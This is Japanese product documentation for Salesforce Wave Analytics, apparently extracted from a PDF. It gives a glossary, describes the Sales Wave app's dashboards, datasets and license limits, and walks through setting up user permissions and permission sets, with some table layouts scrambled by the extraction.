タ API 開発者ガ
イド

Wave データセットの管理 | PDF

Wave アセットの作成

グラフに
よるデータの視
覚化

Trailhead:

Wave のデスク

データの探索と視覚化

トップデータ探
索

Wave での
トレンドデータ

ダッシュ
ボードへのウィ
ジェットの追加

Wave ダッシュボードの構築

Trailhead:

ダッシュボード
ダッシュボードの埋め込みとカスタマイズ

のカスタマイズ
の基礎

拡張メタ
データ (XMD) リ
ファレンス

Wave ダッ
シュボードのバ
インド開発者ガ
イド

ダッシュ
ボード JSON リ
ファレンス
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https://developer.salesforce.com/docs/atlas.ja-jp.206.0.bi_dev_guide_ext_data.meta/bi_dev_guide_ext_data/
https://developer.salesforce.com/docs/atlas.ja-jp.206.0.bi_dev_guide_ext_data.meta/bi_dev_guide_ext_data/
https://developer.salesforce.com/docs/atlas.ja-jp.206.0.bi_dev_guide_ext_data_format.meta/bi_dev_guide_ext_data_format/
https://developer.salesforce.com/docs/atlas.ja-jp.206.0.bi_dev_guide_ext_data_format.meta/bi_dev_guide_ext_data_format/
https://developer.salesforce.com/docs/atlas.ja-jp.206.0.bi_dev_guide_ext_data_format.meta/bi_dev_guide_ext_data_format/
https://resources.docs.salesforce.com/206/latest/en-us/sfdc/pdf/bi_admin_guide_data_integration_guide.pdf
https://trailhead.salesforce.com/ja/module/wave_desktop_exploration
https://trailhead.salesforce.com/ja/module/wave_desktop_exploration
https://trailhead.salesforce.com/ja/module/wave_desktop_exploration
https://trailhead.salesforce.com/ja/module/wave_desktop_exploration
https://trailhead.salesforce.com/ja/module/wave_apps_basic_wave_dashboard_customization
https://trailhead.salesforce.com/ja/module/wave_apps_basic_wave_dashboard_customization
https://trailhead.salesforce.com/ja/module/wave_apps_basic_wave_dashboard_customization
https://trailhead.salesforce.com/ja/module/wave_apps_basic_wave_dashboard_customization
https://developer.salesforce.com/docs/atlas.ja-jp.206.0.bi_dev_guide_xmd.meta/bi_dev_guide_xmd/
https://developer.salesforce.com/docs/atlas.ja-jp.206.0.bi_dev_guide_xmd.meta/bi_dev_guide_xmd/
https://developer.salesforce.com/docs/atlas.ja-jp.206.0.bi_dev_guide_xmd.meta/bi_dev_guide_xmd/
https://developer.salesforce.com/docs/atlas.ja-jp.206.0.bi_dev_guide_bindings.meta/bi_dev_guide_bindings/
https://developer.salesforce.com/docs/atlas.ja-jp.206.0.bi_dev_guide_bindings.meta/bi_dev_guide_bindings/
https://developer.salesforce.com/docs/atlas.ja-jp.206.0.bi_dev_guide_bindings.meta/bi_dev_guide_bindings/
https://developer.salesforce.com/docs/atlas.ja-jp.206.0.bi_dev_guide_bindings.meta/bi_dev_guide_bindings/
https://developer.salesforce.com/docs/atlas.ja-jp.206.0.bi_dev_guide_json.meta/bi_dev_guide_json/
https://developer.salesforce.com/docs/atlas.ja-jp.206.0.bi_dev_guide_json.meta/bi_dev_guide_json/
https://developer.salesforce.com/docs/atlas.ja-jp.206.0.bi_dev_guide_json.meta/bi_dev_guide_json/


Wave アセットの作成

Wave

Analytics のデー
Wave アセットの整理と共有

タのコレクショ
ン

Wave REST

API 開発者ガイ
ド

SAQL リ
ファレンス

Wave プラットフォームでの開発

Wave の移
行、パッケージ
化、および配布

Wave アセットの使用とコラボレーション

Wave

Analytics 用語集
Wave の使用開始

視覚化の
共有

コミュニ
ティとの Wave

の共有

Wave での共有とコラボレーション

Wave
Analytics for iOS

Wave
Analytics for
Android

モバイル対応

Trailhead:

Wave のモバイ
ルデータ探索
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https://developer.salesforce.com/docs/atlas.ja-jp.206.0.bi_dev_guide_rest.meta/bi_dev_guide_rest/
https://developer.salesforce.com/docs/atlas.ja-jp.206.0.bi_dev_guide_rest.meta/bi_dev_guide_rest/
https://developer.salesforce.com/docs/atlas.ja-jp.206.0.bi_dev_guide_rest.meta/bi_dev_guide_rest/
https://developer.salesforce.com/docs/atlas.ja-jp.206.0.bi_dev_guide_saql.meta/bi_dev_guide_saql/
https://developer.salesforce.com/docs/atlas.ja-jp.206.0.bi_dev_guide_saql.meta/bi_dev_guide_saql/
https://mobile-analytics.docs.salesforce.com/ja-jp/
https://mobile-analytics.docs.salesforce.com/ja-jp/
https://mobile-analytics-android.docs.salesforce.com/ja-jp/
https://mobile-analytics-android.docs.salesforce.com/ja-jp/
https://mobile-analytics-android.docs.salesforce.com/ja-jp/
https://trailhead.salesforce.com/ja/module/wave_mobile_exploration
https://trailhead.salesforce.com/ja/module/wave_mobile_exploration
https://trailhead.salesforce.com/ja/module/wave_mobile_exploration


Trailhead を使用した Wave Analytics の学習
Trailhead を使用すれば、Salesforce を無料で楽しく学習できます。Trailhead により、Wave が有効になっている特
殊な Developer Edition 組織を使用して Wave Analytics を学習できるようになりました。

Wave Analytics トレイルでは、古い Developer Edition 組織を使用できません。制限された Analytics Cloud Wave Platform

ライセンスが付属し、Wave トレイルで必要なサンプルデータが含まれる特殊な Developer Edition にサインアッ
プする必要があります。
次のトレイルでは特殊な Developer Edition 組織へのサインアップがあります。
• Wave Analytics を使用した探索: http://trailhead.salesforce.com/trail/wave_analytics_explorer

• Wave アプリケーションによる分析の加速化: http://trailhead.salesforce.com/trail/wave_analytics_apps

関連トピック:

Wave Analytics の制限

Wave Analytics 用語集
よく使用される Wave Analytics 用語を理解しておきましょう。
アプリケーション

アプリケーションには、ダッシュボード、レンズ、およびデータセットが、データ分析を同僚と共有する
ために妥当な任意の組み合わせで含まれます。アプリケーションはフォルダに似ています。アプリケーショ
ンを使用して、ユーザのデータプロジェクト (非公開と共有の両方) を整理して共有を制御できます。

ダッシュボード
ダッシュボードは、1 つ以上のレンズでデータに基づいて選ばれたグラフ、総計値、テーブルのセットで
す。

ダッシュボード JSON ファイル
ダッシュボード JSON ファイルでは、ダッシュボードに含まれるコンポーネントを定義し、それらの接続方
法を記述します。
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データ監視
データ監視ツールでは、データフローとシステムジョブを監視できます。データフローの開始、停止、再
スケジュール、ダウンロード、アップロードにも使用できます。

データフロー
データフローとは、Salesforce オブジェクトまたはデータセットから抽出するデータ、データセットを変換
する方法、およびクエリで使用可能にするデータセットを指定する一連の指示です。

データフロー定義ファイル
データフロー定義ファイルは、データフローロジックを表す変換が含まれる JSON ファイルです。

データフロージョブ
データフロージョブは、データフローのロジックを処理します。

データセット
データセットには、対話型の探索ができるように特別に形式が設定され、最適化されたソースデータのセッ
トが含まれます。

データセットビルダー
データセットビルダーでは、ポイント & クリックユーザインターフェースで、関連する Salesforce オブジェ
クトから容易にデータを選択および抽出して、1 つのデータセットを作成できます。

日付
日付は、日、月、年、必要に応じて時刻として表されます。日付に基づいたグループ化、絞り込み、およ
び算術処理ができます。

デザイナ
デザイナは、ダッシュボードを作成するためのインターフェースです。Wave ダッシュボードデザイナ (新
しいデザイナ) と従来のデザイナという次の 2 つのバージョンがあります。

ディメンション
ディメンションは、地域、製品名、モデル番号など、定性的な値です。ディメンションは、データのグルー
プ化や絞り込みに便利です。基準と異なり、ディメンションで計算を行うことはできません。

エクスプローラ
エクスプローラは、データセットとレンズを探索するためのインターフェースです。

拡張メタデータ (XMD)

拡張メタデータ (XMD)を使用すると、Wave Analyticsの多くのダッシュボード要素の形式をカスタマイズでき
ます。

外部データ
外部データは、外部のアプリケーションやスプレッドシートのデータなど、Salesforce 以外に存在するデー
タです。

外部データ API

外部データ APIを使用すると、外部データファイルをWave Analyticsにアップロードしてデータセットを作成
できます。

Lens

レンズは、データセットのデータの特定のビューです。ここで探索の分析と視覚化を行います。
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基準
基準は、収益や換算レートなど、定量的な値です。総収益や最小換算レートの計算など、基準に対して算
術処理ができます。

メタデータファイル
メタデータファイルとは、外部データファイルの構造を説明する JSON ファイルです。

述語
述語とは、データセットのレコードへの行レベルアクセス権を定義する絞り込み条件です。

Salesforce Analytics Query Language (SAQL)

SAQL を使用すると、Wave Analytics データセットのデータにアクセスして分析できます。
変換

変換とは、データを操作することです。変換をデータフローに追加して、Salesforce オブジェクトやデータ
セットからデータを抽出したり、Salesforce データや外部データが含まれるデータセットを変換したり、デー
タセットを登録したりすることができます。

視覚化
視覚化とは、一般的に棒グラフ、ドーナツグラフ、時系列図、ヒートマップなどのチャートやグラフです。
比較表やピボットテーブルなど、表形式のデータにすることもできます。どの視覚化にも基礎となるクエ
リがあり、Wave Analytics はこれらのクエリを使用してソースデータから情報を取得します。

事前作成済み Wave アプリケーション
エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience。

有料オプションで使用可
能なエディション:
Enterprise Edition、
Performance Edition、およ
び Unlimited Edition。
Developer Edition でも使用
可能。

事前作成済み Wave Analytics アプリケーションでは、用意された方法で簡単に
Salesforce データを探索できます。ビジネスの成功を促進するためにチームで使
用できるベストプラクティスダッシュボードや KPI を 1 か所に集約できます。
Salesforce の事前作成済み Wave アプリケーションにより、組織がより早く Wave

Analytics で成果を得られるようになります。Wave アプリケーションでは、自分で
視覚化を作成する代わりに、各アプリケーションに含まれる便利な設定ウィザー
ドで質問に答えます。残りは自動的に処理され、顧客とのやりとりを管理でき
るように長年企業をサポートしてきた経験に基づいて Salesforce が設計および構
築したダッシュボードが作成されます。
事前作成済みアプリケーションは、デスクトップ用およびモバイルデバイス用
に設計されています。事前作成済みアプリケーションには Salesforce ページに埋
め込むことができるダッシュボードが付属しており、ユーザは日常業務を行う
クラウドからビジネスインテリジェンスに直接アクセスできます。また、固有
のニーズに合わせて Wave アプリケーションをカスタマイズすることで、ビジネスの主要な側面をさらに掘り
下げることができます。
開始する方法については、次のリンクをクリックして、各アプリケーションのステップバイステップの手順を
参照してください。

Sales Wave Analytics アプリケーション
Sales Wave Analytics アプリケーションは、Wave をサポートする任意のデバイスの Sales Cloud に Wave Analytics の
機能を提供します。Salesforce データに基づく直感的な視覚化により、Sales Wave では、インサイトをすばや
く行動に移し、データをスマートな営業へと変えることができます。
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Service Wave Analytics アプリケーション
Service Wave アプリケーションを使用すると、迅速に Wave Analytics の使用を開始し、あらゆるデバイスで
Service Cloud データを簡単に探索できます。サービスマネージャもエージェントも、必要なすべての情報を
一元的に取得して、ビジネスの成長に役立つ重要なインサイトを明らかにすることができます。
Event Monitoring Wave アプリケーション
Event Monitoring Wave アプリケーションは、イベント監視を統合し、監査履歴データを設定することにより、
ユーザや組織の動作に関するインサイトを提供します。
Wave for B2B Marketing アプリケーション
Wave for B2B Marketing はデータ主導のマーケティング担当者に高度な分析を提供し、マーケティングデータ
とセールスデータを 1 か所で探索できるようになります。Pardot と Sales Cloud データを統合した強力なダッ
シュボードにより、データをすばやく探索し、収益に対するマーケティングの影響を理解し、マーケティ
ングの成果を促進するアクションを瞬時に実行できます。

Sales Wave Analytics アプリケーション
Sales Wave Analytics アプリケーションは、Wave をサポートする任意のデバイスの Sales Cloud に Wave Analytics の機
能を提供します。Salesforce データに基づく直感的な視覚化により、Sales Wave では、インサイトをすばやく行
動に移し、データをスマートな営業へと変えることができます。

ヒント: Sales Waveの使用を開始するには、次の順序で手順を実行します。初めて Wave を使用する場合は、
詳細を「Wave Analytics ライブラリ」で確認してください。

1. Sales Wave アプリケーションについて
アプリケーションを作成および使用して Sales Cloud データを探索する前に、Sales Wave の利点について学習
します。

2. Sales Wave の事前作成済みダッシュボードおよびデータセット
Sales Wave アプリケーションには、データを容易に探索できるように、事前作成済みダッシュボードおよび
データセットが含まれています。

3. Sales Wave Analytics アプリケーションの Salesforce 権限の設定
組織で Sales Wave アプリケーションを使用できるように設定するために、Wave を有効にし、権限セットラ
イセンスを割り当て、権限セットを作成して割り当てます。

4. Sales Wave Analytics アプリケーションの作成と共有
次の手順を実行して Sales Wave アプリケーションを作成し、Salesforce データの価値をすばやく明らかにする
ことができます。

5. 設定ウィザードを使用した Sales Wave のカスタマイズ
Sales Wave設定ウィザードを使用すると、Sales Wave アプリケーションを Salesforce データの表示方法に合わせ
て作成できます。

6. Sales Wave アプリケーションのアップグレード
新しいバージョンがリリースされるたびにアプリケーションをアップグレードして、最新のSales Wave機能
を活用します。
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7. Sales Wave の Quota (Target) データセットの更新
ビジネスでユーザレベルの目標を追跡するかどうか、という設定ウィザードの質問に対する回答が「はい」
であれば、アプリケーションにチームの目標データが含まれるように Sales Wave の Quota データセットを更
新する必要があります。

8. Sales Wave の日次データフローのスケジュール
Sales Wave で探索を開始する前に、日次データフローを通常の営業時間外にスケジュールします。

9. Sales Wave と Salesforce の統合
必要に応じて各種インテグレーションおよびカスタマイズを実行することで、Sales Waveをさらに使いやす
くします。

10. Sales Wave Analytics アプリケーションの制限事項について
Sales Wave では、Sales Cloud に特定のデータが含まれていて、制限された一連の Salesforce オブジェクトがサ
ポートされている必要があります。

11. Sales Wave アプリケーションのデータ用語の概要
Sales Wave アプリケーションで使用される総計値と用語を理解すると、このアプリケーションを最大限に活
用する上で役立ちます。
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Sales Wave アプリケーションについて

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience。

有料オプションで使用可
能なエディション:
Enterprise Edition、
Performance Edition、およ
び Unlimited Edition。
Developer Edition でも使用
可能。

ユーザ権限

Wave テンプレートアプリ
ケーションを使用する
• 「Wave Analytics テン

プレートアプリケー
ションの使用」

Sales Wave を使用する
• 「Sales Cloud Analytics

テンプレートおよびア
プリケーションへのア
クセス」

Wave アプリケーションを
作成および管理する
• 「Wave Analytics テン

プレートアプリケー
ションの管理」

• 「Wave Analytics デー
タフローの編集」

アプリケーションを作成および使用して Sales Cloud データを探索する前に、Sales

Wave の利点について学習します。
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Sales Wave アプリケーションは、Sales Cloud データを容易に分析できるように作成されています。Sales Waveを使
用すると、役割 (営業マネージャ、営業担当、または業務部門担当者) に関係なく Salesforce データへの洞察が深
まります。
• マネージャは、チームの重要業績評価指標 (KPI) の概要から始めて、目標、パイプラインの変化、および平

均販売サイクル時間を確認できます。また、マネージャはチームのメンバーのパフォーマンスに焦点を絞
り、商談成立を促進するアクションを実行することもできます。

• 営業担当は、特定の期間の目標達成率、契約、およびパイプ活動を表示できます。また、新規ビジネスの
商談をすばやく見つけ出し、目標達成を促進することもできます。

• 業務部門担当者は、場所、ソース、顧客でパフォーマンスを分類してトレンドを把握し、新規商談を迅速
化できます。
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アプリケーションは簡単に作成できます。組み込みのコンフィグレータを使用して、希望するデータ表示方法
に関するいくつかの質問に答えると、あとは Wave が行います。アプリケーションを作成したら、事前作成済
みのデータセットおよびダッシュボードを使用して、Wave をサポートするデバイスから Sales Cloud データを探
索します。
直観的な Wave インターフェースを使用して、アクションにつながるインサイトをセールスデータから迅速に
取得できます。また、ビジネスニーズに合わせて Sales Wave をカスタマイズすることで、ビジネスの主要な側
面をさらに掘り下げることができます。

メモ: Sales Wave ライセンスを購入すると、Salesforce Wave Analytics プラットフォームの有無に関係なく、組
織で Sales Wave アプリケーションを使用できます。各 Salesforce Wave Analytics ライセンスには、Sales Wave

Analytics アプリケーションライセンスが含まれます。

Sales Wave の事前作成済みダッシュボードおよびデータセット

ユーザ権限

Wave アプリケーションを
使用する
• 「Wave Analytics テン

プレートアプリケー
ションの使用」

Sales Wave を使用する
• 「Sales Cloud Analytics

テンプレートおよびア
プリケーションへのア
クセス」

Wave アプリケーションを
作成および管理する
• 「Wave Analytics テン

プレートアプリケー
ションの管理」

• 「Wave Analytics デー
タフローの編集」

Sales Wave アプリケーションには、データを容易に探索できるように、事前作成
済みダッシュボードおよびデータセットが含まれています。

メモ: これらのダッシュボードおよびデータセットは、2016 年 7 月以降にア
プリケーションを作成した場合にのみ Sales Wave に含まれます。古いバー
ジョンのSales Waveを使用する場合、これらのダッシュボードおよびデータ
セットを表示するには、アプリケーションを再作成します。

Sales Wave ダッシュボード
Sales Wave アプリケーションの事前作成済みダッシュボードには、Salesforce デー
タから迅速に価値を得るために役立つ重要業績評価指標が含まれています。ダッ
シュボードでは、パイプラインと売上予測の管理、主要な業績促進要因の理解、
トレンドの視覚化、アクションの割り当てなどを実行できます。また、ビジネ
スの成果に関する疑問の答えをすぐに見つけることができます。
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次の表では、各 Sales Wave ダッシュボードについて説明します。これらのダッシュボードを使用することで、
ビジネスの現状を即座に把握できます。また、任意の時点で独自にデータを掘り下げることもできます。Wave

でのデータの探索についての詳細は、「データの探索と視覚化」を参照してください。

メモ: Sales Wave に含まれるダッシュボードやデータセットは、アプリケーション作成時の設定ウィザー
ドの質問への回答によって異なります。

表 55 : Sales Wave ダッシュボード
特殊な要件対象ユーザロール内容ダッシュボード名

目標達成率を表示するに
は、目標データを Sales

営業担当営業担当は、KPI の概要に
ついてここから開始しま

Sales Rep Overview

Wave にインポートする必
要があります。

す。特定の期間の目標達
成率、契約、およびパイ
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特殊な要件対象ユーザロール内容ダッシュボード名

プラインを確認します。
また、商談成立を促進す
る主要な機会や特定の週
で完了した活動数も確認
します。

このダッシュボードを表
示するには、目標データ

営業担当取引先に販売された、ま
たは販売されなかった商

Opportunity Discovery

を Sales Wave にインポート
する必要があります。

品に焦点を絞り、ホワイ
トスペースやアップセル/

クロスセル商談を特定し
ます。

営業マネージャ営業マネージャは、チー
ムの KPI の概要についてこ

Sales Manager Overview • 目標達成率を表示する
には、目標データを

こから開始します。チー Sales Waveにインポート
する必要があります。ムの目標達成率、パイプ

カバー率、契約、パイプ
• 商品オブジェクトを使

用してパイプカバー率生成、平均販売サイクル
時間を確認します。個々 を表示するかどうかにの営業担当を選択し、パ 関する設定ウィザードフォーマンスを確認でき
ます。 の質問に「はい」と回

答する必要がありま
す。

目標達成率を表示するに
は、目標データを Sales

営業マネージャパイプラインの変化 (商談
成立/不成立、転入/転出、

Pipeline Changes

Wave にインポートする必
要があります。

金額削減/増加など) を強調
表示します。

目標達成率を表示するに
は、目標データを Sales

営業マネージャチームの営業担当が主要
なパフォーマンスカテゴ

Team Productivity

Wave にインポートする必
要があります。

リ (商談成立/不成立、目標
達成率、および平均販売
サイクル時間など) で比較
する方法を示します。

目標達成率を表示するに
は、目標データを Sales

営業マネージャ主要な商談にドリルイン
できるようにしてチーム
の目標達成を支援します。

Quota Progress

Wave にインポートする必
要があります。

なし。営業業務部門完了した商談を分析し、
地理的な場所のトレンド
を検出します。

Performance by Geography
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特殊な要件対象ユーザロール内容ダッシュボード名

なし。営業業務部門完了した商談を分析し、
ソースのトレンドを検出
します。

Performance by Source

なし。営業業務部門完了した商談を分析し、
顧客のトレンドを検出し
ます。

Performance by Customer

なし。営業業務部門完了した商談を分析し、
商品のトレンドを検出し
ます。

Performance by Product

商品オブジェクトを使用
して商品データを表示す

営業担当選択した取引先の平均成
立率、平均営業サイクル、

Account Summary

るかどうかに関する設定進行中の商談数および成
ウィザードの質問に「は立した商談数を場所、ソー
い」と回答する必要があ
ります。

ス、商品別に示します。
取引先ページや商談ペー
ジなどの Salesforce ページ
に埋め込むことができま
す。

商品オブジェクトを使用
して商品データを表示す

営業担当商品構成、活動、および
商談が現在のフェーズに

Opportunity Summary

るかどうかに関する設定あった時間などの主要情
ウィザードの質問に「は報を使用して、選択した
い」と回答する必要があ
ります。

商談を集計します。取引
先ページや商談ページな
どの Salesforce ページに埋
め込むことができます。

Sales Wave データセット
次の表に、アプリケーションの作成時にアプリケーションに含まれる Sales Wave データセットを示します。

表 56 : Sales Wave データセット
特殊な要件内容データセット名

なし。取引先に関するデータ。
商談のない取引先が含ま
れます。

Accounts

なし。取引先、商談、ユーザに
関するデータ。

Opportunities
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特殊な要件内容データセット名

なし。商談および取引先のある
商品に関するデータ。

Oppty Products

なし。商談の履歴データ。商談
金額、完了予定日、およ

Pipeline Trending

び商談ライフサイクルの
フェーズの変化を追跡し
ます。

Sales Wave で目標を使用す
る場合、目標データが含

目標データ。Quota

まれるCSV ファイルをアッ
プロード (ページ4399)して
このデータセットを更新
します。

なし。マネージャ積み上げ中に
目標データにロール階層
情報を適用します。

Quota with Users

なし。組織のすべてのユーザに
関する詳細を入力しま
す。

Users

なし。ユーザロールに関する基
本データ。

Roles

設定ウィザードを使用し
てケースデータを Sales

取引先に関連するケース
のデータ。

Cases

Wave にインポートする場
合にのみ含まれます。

なし。行動に関するデータ。Events

なし。ToDo に関するデータ。Tasks

設定ウィザードを使用し
てリードデータを Sales

Salesforce リードデータ (取
引先および商談に関連付

Leads

Wave にインポートする場
合にのみ含まれます。

けられた取引開始済みの
リードを含む)。

設定ウィザードを使用し
てキャンペーンデータを

Salesforce キャンペーンデー
タ (キャンペーンに関連付
けられた商談を含む)。

Campaigns

Sales Wave にインポートす
る場合にのみ含まれま
す。
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特殊な要件内容データセット名

設定ウィザードを使用し
てキャンペーンデータを

キャンペーンのあるキャ
ンペーンメンバーに関す

Campaign Members

Sales Wave にインポートするデータ。誰がどのキャ
る場合にのみ含まれま
す。

ンペーンに関連付けられ
ているのかを確認しま
す。

Sales Wave Analytics アプリケーションの Salesforce 権限の設定

ユーザ権限

Wave アプリケーションを
作成および管理する
• 「Wave Analytics テン

プレートアプリケー
ションの管理」

• 「Wave Analytics デー
タフローの編集」

組織で Sales Wave アプリケーションを使用できるように設定するために、Wave

を有効にし、権限セットライセンスを割り当て、権限セットを作成して割り当
てます。
各 Sales Wave Analytics アプリケーションライセンスは、Sales Wave へのアクセス権
が提供されるシングルユーザライセンスです。1 つの Sales Wave アプリケーショ
ンシングルユーザライセンスが含まれます。次の表に、アプリケーションのデー
タストレージ制限を示します。より多くのデータが必要な場合、1 億行を追加で
きる Analytics Cloud - Additional Data Rows を購入できます。

表 57 : Sales Wave データストレージ制限
制限ライセンス

Analytics Cloud - Wave Analytics Platform ライ
センスなしで使用する場合は 2,500 万

Analytics Cloud - Sales Wave Analytics アプリ
ケーション

行。Sales Waveアプリケーションライセ
ンスを使用しても、プラットフォーム
ライセンスのデータの上限は増えませ
ん。

1 億行。Analytics Cloud - Additional Data Rows

重要: Sales Wave Analytics アプリケーションライセンスのデータストレージ制限は、契約上の制限であり、
技術的な制限ではありません。ライセンシーは、データ行の合計数を厳密に監視することに同意してい
ます。

Salesforce Wave Analytics プラットフォームの有無に関係なく、組織で Sales Wave Analytics アプリケーションを使用
できます。Sales Wave Analytics アプリケーションライセンスでは、次の権限が有効になります。

表 58 : Sales Wave ユーザ権限
機能権限

すべての Wave テンプレートアプリケーションへのア
クセス権が有効になります。

「Wave Analytics テンプレートアプリケーションの使
用」
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機能権限

Sales Wave Analytics アプリケーションおよびそれに含ま
れるデータと事前作成済みダッシュボードへの特定の
アクセス権が付与されます。

「Sales Cloud Analytics テンプレートおよびアプリケー
ションへのアクセス」

システム管理者は、組織のユーザ向けに Wave アプリ
ケーション (この場合は Sales Wave Analytics アプリケー
ション) を作成できます。

「Wave Analytics テンプレートアプリケーションの管
理」

システム管理者は、既存のデータフローの JSON をアッ
プロードおよびダウンロードできます。

「Wave Analytics データフローの編集」

Sales Wave アプリケーションの設定プロセス
Sales Wave を使用するように組織を設定するには、次の基本手順に従います。
1. Wave プラットフォームを有効にします。Sales Wave を設定する最初のステップは、組織で Wave を有効化す

ることです。
2. 権限セットライセンスをユーザに割り当てます。次に、Sales Analytics アプリケーション権限セットライセン

スを各ユーザに割り当てます。各権限セットライセンスは、1 人のユーザにのみ割り当てることができま
す。また、各ユーザがアプリケーションを使用するには、権限セットライセンスが必要です。

3. ユーザ種別を定義し、権限セットを作成して割り当てます。次に、組織のメインユーザ種別を定義し、各
ユーザ種別のニーズに合わせて関連するユーザ権限をグループ化する権限セットを作成します。権限セッ
トを作成したら、ユーザに割り当てます。権限セットは個々のユーザに割り当てることができますが、効
率化するためにユーザのグループに割り当てることもできます。1 人のユーザに複数の権限セットを割り当
てることができます。

これらの手順が完了したら、Sales Wave を作成して、組織のユーザと共有します。アプリケーションをユーザ
と共有すると、ユーザは Sales Wave ダッシュボードおよびデータセットの探索のみを実行できるようになりま
す。

ヒント:

最適な結果を得るには、Sales Wave アプリケーションの設定手順をここに示された順序どおりに実行します。

1. Sales Analytics アプリケーション権限セットライセンスおよびユーザ権限
Sales Analytics アプリケーション権限セットライセンスによって、Sales Wave アプリケーションのデータ探索
と管理に必要なユーザ権限が有効になります。

2. Sales Wave アプリケーションのユーザ種別の特定
Sales Waveアプリケーションユーザの種別とユーザが実行するタスクを特定すると、設定プロセスでチーム
の分析ニーズを満たせるようになります。

3. Wave Analytics の有効化および Sales Analytics アプリケーション権限セットライセンスの割り当て
Salesforce によって Sales Wave Analytics アプリケーションライセンスがプロビジョニングされたら、Wave を有
効にして Sales Analytics アプリケーション権限セットライセンスを割り当てます。
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4. Sales Wave アプリケーション権限セットの作成
組織のユーザに Sales Wave機能へのアクセス権を付与するには、ユーザが必要な機能に基づいて 1 つ以上の
権限セットを作成し、割り当てます。

5. Sales Wave 権限セットのユーザへの割り当て
権限セットを 1 人以上の Sales Wave ユーザに割り当てて (1 人ずつまたは一括で)、アプリケーション機能へ
のアクセス権を付与します。

Sales Analytics アプリケーション権限セットライセンスおよびユーザ権限
Sales Analytics アプリケーション権限セットライセンスによって、Sales Wave アプリケーションのデータ探索と管
理に必要なユーザ権限が有効になります。
Sales Wave アプリケーションユーザごとに、Sales Analytics アプリケーション権限セットライセンスが必要です。
Sales Analytics アプリケーション権限セットライセンスによって、次の権限が有効になります。

表 59 : Sales Wave アプリケーション権限
可能になる機能ユーザ権限

Sales Waveアプリケーションを含む、すべての Wave テ
ンプレートアプリケーションへの一般的なアクセス。

「Wave Analytics テンプレートアプリケーションの使
用」

Sales Wave アプリケーションとデータおよびそれに含
まれる事前作成済みダッシュボードへの特定のアクセ
ス。

「Sales Cloud Analytics テンプレートおよびアプリケー
ションへのアクセス」

組織のユーザ向けに Wave アプリケーション (この場合
は Sales Wave アプリケーション) の作成。

「Wave Analytics テンプレートアプリケーションの管
理」

データフローの編集、開始、停止、再スケジュール。
データ監視でデータフローとシステムジョブを監視。

「Wave Analytics データフローの編集」

このユーザ権限を割り当てるときは慎重に判断してく
ださい。この権限では、インテグレーションユーザが
アクセスできるすべての Salesforce オブジェクトデータ
にアクセスできます。「Wave Analytics での Salesforce の
データアクセス」を参照してください。

Sales Wave ダッシュボードのレポートデータのトレン
ド分析。

「Wave Analytics のトレンドレポートデータ」

Wave Analytics からのデータのダウンロード。「Wave Analytics データのダウンロード」

Sales Wave アプリケーションのユーザ種別の特定
Sales Wave アプリケーションユーザの種別とユーザが実行するタスクを特定すると、設定プロセスでチームの
分析ニーズを満たせるようになります。
Sales Wave Analytics アプリケーションライセンスには、組織のユーザが Sales Wave の管理に必要とする権限と、
データのインポート、使用、および探索に必要とする権限が含まれます。Sales Wave を最も使いやすく設定す
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るには、ユーザがSales Wave機能にアクセスできるさまざまな方法を検討し、ユーザを種別ごとに分類します。
次は、その例です。
ほとんどの場合、Sales Wave はチームの次の 2 つの基本的な種別のユーザのニーズに対応します。
• ユーザ。Sales Wave ダッシュボードおよびデータセットを参照します。
• システム管理者またはマネージャ。アプリケーション、ダッシュボード、データセットの作成、データの

編集や、Sales Wave 操作環境のカスタマイズを行うために、すべての Sales Wave 機能にアクセスします。
したがって、Sales Wave を設定するときには、2 つの基本的な権限セットを作成することで組織のほとんどの
ユーザのニーズを満たせる可能性があります。
• 「参照」権限セット。ほとんどの基本レベルのユーザがSales Waveにアクセスするときに必要とする権限が

含まれます。
• 一部のシステム管理者とマネージャ用に予約された「管理」権限セット。すべてのSales Wave機能を使用す

る権限が含まれます。
この後の詳細な Sales Wave アプリケーションの設定手順で、これら 2 つの権限セットの作成および割り当て方
法について説明します。

Wave Analytics の有効化および Sales Analytics アプリケーション権限セットライセンスの割り当て
Salesforce によって Sales Wave Analytics アプリケーションライセンスがプロビジョニングされたら、Wave を有効に
して Sales Analytics アプリケーション権限セットライセンスを割り当てます。
Wave プラットフォームの有効化
Wave プラットフォームを使用するには、まず組織で有効にします。
1. Salesforce の [設定] メニューの [管理] で、[Analytics Cloud] | [始めましょう] をクリックします。
2. [分析の有効化] をクリックします。
権限セットライセンスの割り当て
次に、Sales Wave アプリケーションにアクセスする必要がある組織内の各ユーザに権限セットライセンスを割
り当てます。
1. [設定] メニューで、[ユーザの管理] | [ユーザ] をクリックします。
2. Wave へのアクセス権を付与するユーザの名前をクリックします。最初は、ユーザ、システム管理者、また

はシステム管理者に指定したその他の名前を選択するとよいでしょう。
3. カーソルを [権限セットライセンスの割り当て] に置き、[割り当ての編集] をクリックします。

4. Sales Analytics アプリケーション権限セットライセンスを選択し、[保存] をクリックします。
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重要: Sales Wave アプリケーションにアクセスする必要がある組織内のすべてのユーザについてこれらの
手順を繰り返します。

Sales Wave アプリケーション権限セットの作成

ユーザ権限

権限セットを作成する
• 「プロファイルと権限

セットの管理」

組織のユーザに Sales Wave機能へのアクセス権を付与するには、ユーザが必要な
機能に基づいて 1 つ以上の権限セットを作成し、割り当てます。
Sales Analytics アプリケーション権限セットライセンスをユーザに割り当てたら、
Sales Waveユーザ権限で構成される権限セットを作成し、ユーザに割り当てます。
ユーザのニーズを満たす必要がある権限セットを作成できます。2 つの権限セッ
トの作成方法を次に示します。
• 「Sales Wave の管理」権限セット (Sales Wave を作成および管理するユーザ用)

• 「Sales Wave の表示」権限セット (アプリケーションダッシュボードおよびデータセットを探索するユーザ
用)

1. ユーザにすべてのアプリケーション機能へのアクセス権を付与する、「Sales Waveの管理」権限セットを作
成します。
a. [設定] メニューで、[管理] の [ユーザの管理] | [権限セット] をクリックし、[新規] をクリックします。
b. [表示ラベル] 項目にManage Sales Waveと入力します。これにより API 参照名も自動的に作成されま

す。この参照名は必要に応じて変更できます。API 参照名には、スペースは使用しない、最後にアンダー
スコアを使用しない、2 つ続けてアンダースコアを使用しないという制約があります。

c. 警告: このステップを正確に実行しないと、組織の一部のユーザが Sales Wave にアクセスできなく
なる可能性があります。

[ユーザライセンス] 項目をデフォルト値の --None--のままにします。ユーザライセンスは選択しない
でください。

d. [保存]をクリックします。権限セットの詳細ページに新しい権限セットが表示されます。次に、ユーザ
権限を権限セットに追加します。

